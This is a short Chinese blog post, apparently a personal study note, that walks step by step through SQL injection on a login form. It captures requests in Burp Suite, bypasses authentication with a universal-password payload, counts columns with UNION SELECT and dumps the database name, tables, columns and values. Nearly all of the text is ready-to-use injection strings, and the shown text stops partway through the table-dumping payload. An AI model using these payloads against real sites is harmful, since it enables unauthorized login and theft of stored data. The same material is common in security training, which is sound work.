lhyubin的博客

原创 SQL注入爆库各步：

BP抓包重放 万能密码登入：username=admin’ or 1=1 #password=123 判断几个字段：username=admin’ or 1=1 union select 1，2，3 #password=123 爆库，爆表，爆字段，爆值 爆库 username=admin’ or 1=1 union select 1,database(),3 #$password=123 =====XXX 爆表 username=admin’ or 1=1 union select 1,group_conc